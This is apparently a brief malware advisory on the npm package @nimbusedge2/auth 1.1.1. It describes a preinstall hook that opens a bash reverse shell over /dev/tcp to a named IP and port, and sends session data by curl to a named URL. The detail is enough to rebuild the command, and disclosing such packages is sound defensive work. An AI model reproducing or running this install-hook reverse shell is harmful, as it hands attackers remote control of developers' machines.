@nimbusedge2/auth 1.1.1 ships a 333-byte package whose package.json preinstall lifecycle hook runs bash -i with stdio redirected to /dev/tcp/147.93.157.202/8080, opening an interactive reverse shell to that host as the installing user. The same script pipes the shell session through curl -s -m 5 -X POST --data-binary @- to http://canarytokens.com/terms/7dc94zmd3so67n5vbz5bxmt7v/contact.php, providing a secondary HTTP beacon/exfil channel for environments where outbound raw TCP is blocked but HTTP egress is permitted. The package contains no other code, no library functionality, and no legitimate build purpose; installing it grants arbitrary remote command execution on the installer's machine at npm install time.
